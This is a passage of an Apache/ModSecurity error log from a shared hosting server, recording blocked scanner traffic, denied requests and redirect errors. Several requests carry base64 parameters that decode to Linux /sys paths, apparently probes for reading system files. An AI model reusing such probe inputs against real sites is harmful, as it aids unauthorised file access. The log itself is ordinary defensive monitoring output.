2026] [core:error] [pid 715691:tid 715922] [client 47.79.201.4:34238] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:23:48.519167 2026] [core:error] [pid 715691:tid 715922] [client 47.79.201.4:34238] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:23:48.737140 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.39:45346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:48.737571 2026] [access_compat:error] [pid 715691:tid 715805] [remote 57.141.14.39:45346] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:48.797357 2026] [security2:error] [pid 715691:tid 715724] [remote 17.22.245.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30lLV-dFiaX9AtWiQnggABQg4"] [Sat Jun 13 18:23:48.830922 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:48.831369 2026] [access_compat:error] [pid 646876:tid 646912] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:48.831766 2026] [access_compat:error] [pid 646876:tid 646995] [remote 57.141.14.90:42354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:48.832035 2026] [access_compat:error] [pid 646876:tid 646995] [remote 57.141.14.90:42354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:48.997771 2026] [security2:error] [pid 715691:tid 715711] [remote 193.115.126.168:37146] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.126.115.193.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "pys.tlq.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai30lLV-dFiaX9AtWiQnhQABfgE"] [Sat Jun 13 18:23:49.002342 2026] [security2:error] [pid 715691:tid 715957] [client 193.115.126.168:37146] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "pys.tlq.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai30lLV-dFiaX9AtWiQnhQABfgE"] [Sat Jun 13 18:23:49.131721 2026] [security2:error] [pid 715691:tid 715770] [remote 17.246.19.214:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 214.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30lbV-dFiaX9AtWiQnhwABHTs"] [Sat Jun 13 18:23:49.208327 2026] [access_compat:error] [pid 715691:tid 715797] [remote 57.141.14.8:32327] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:49.208583 2026] [access_compat:error] [pid 715691:tid 715797] [remote 57.141.14.8:32327] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:49.323410 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.27:57934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:49.323714 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.27:57934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:49.369433 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:23:49.369842 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:23:49.495483 2026] [security2:error] [pid 715691:tid 715784] [remote 17.246.23.24:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30lbV-dFiaX9AtWiQnkQABWUk"] [Sat Jun 13 18:23:49.678854 2026] [access_compat:error] [pid 715691:tid 715807] [remote 57.141.14.110:59038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:49.679271 2026] [access_compat:error] [pid 715691:tid 715807] [remote 57.141.14.110:59038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:49.760824 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.47:39408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:49.761084 2026] [access_compat:error] [pid 715691:tid 715768] [remote 57.141.14.47:39408] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:49.919613 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:23:49.920077 2026] [access_compat:error] [pid 646876:tid 646920] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:23:50.072324 2026] [access_compat:error] [pid 715691:tid 715777] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:50.072584 2026] [access_compat:error] [pid 715691:tid 715777] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:50.074516 2026] [security2:error] [pid 646876:tid 647015] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/date_default_timezone_set_variation1.phpt"] [unique_id "ai30ltyTkdrNlD40tSHU3AAAAAc"] [Sat Jun 13 18:23:50.214523 2026] [security2:error] [pid 715691:tid 715834] [remote 17.246.23.153:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 153.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30lrV-dFiaX9AtWiQnogABMns"] [Sat Jun 13 18:23:50.248122 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.22:54392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:50.248388 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.22:54392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:50.477964 2026] [access_compat:error] [pid 646876:tid 646987] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ1L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:23:50.478429 2026] [access_compat:error] [pid 646876:tid 646987] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ1L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:23:50.783095 2026] [security2:error] [pid 715691:tid 715767] [remote 17.241.227.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30lrV-dFiaX9AtWiQntQABTTg"] [Sat Jun 13 18:23:50.864063 2026] [security2:error] [pid 646876:tid 646925] [remote 17.22.237.234:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 234.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ltyTkdrNlD40tSHU8wAAFC4"] [Sat Jun 13 18:23:51.000293 2026] [access_compat:error] [pid 715691:tid 715789] [remote 57.141.14.112:48060] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:51.000808 2026] [access_compat:error] [pid 715691:tid 715789] [remote 57.141.14.112:48060] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:51.033288 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50NA== [Sat Jun 13 18:23:51.033726 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50NA== [Sat Jun 13 18:23:51.062878 2026] [access_compat:error] [pid 715691:tid 715796] [remote 57.141.14.41:31077] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:51.063287 2026] [access_compat:error] [pid 715691:tid 715796] [remote 57.141.14.41:31077] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:51.275445 2026] [security2:error] [pid 715691:tid 715760] [remote 17.241.227.92:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 92.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30l7V-dFiaX9AtWiQnwgABHDE"] [Sat Jun 13 18:23:51.298136 2026] [access_compat:error] [pid 715691:tid 715713] [remote 57.141.14.53:30982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:51.298409 2026] [access_compat:error] [pid 715691:tid 715713] [remote 57.141.14.53:30982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:51.406089 2026] [security2:error] [pid 715691:tid 715963] [client 47.79.206.253:36502] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.206.79.47.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.loohan.com"] [uri "/viewtopic.php"] [unique_id "ai30l7V-dFiaX9AtWiQnxgAAAYQ"], referer: https://www.google.com/ [Sat Jun 13 18:23:51.542602 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZHJpdmVyL3NlcmlvMC9maXJtd2FyZV9ub2RlL3BoeXNpY2FsX25vZGUx [Sat Jun 13 18:23:51.542898 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZHJpdmVyL3NlcmlvMC9maXJtd2FyZV9ub2RlL3BoeXNpY2FsX25vZGUx [Sat Jun 13 18:23:51.686966 2026] [security2:error] [pid 646876:tid 647006] [remote 17.22.245.134:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 134.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30l9yTkdrNlD40tSHVCwAAV38"] [Sat Jun 13 18:23:51.827294 2026] [security2:error] [pid 715691:tid 715751] [remote 17.241.75.234:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 234.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30l7V-dFiaX9AtWiQn1AABECk"] [Sat Jun 13 18:23:51.984722 2026] [security2:error] [pid 715691:tid 715762] [remote 40.77.167.71:25851] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.167.77.40.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.loohan.com"] [uri "/viewtopic.php"] [unique_id "ai30l7V-dFiaX9AtWiQn2QABRTM"] [Sat Jun 13 18:23:52.070702 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:52.071175 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 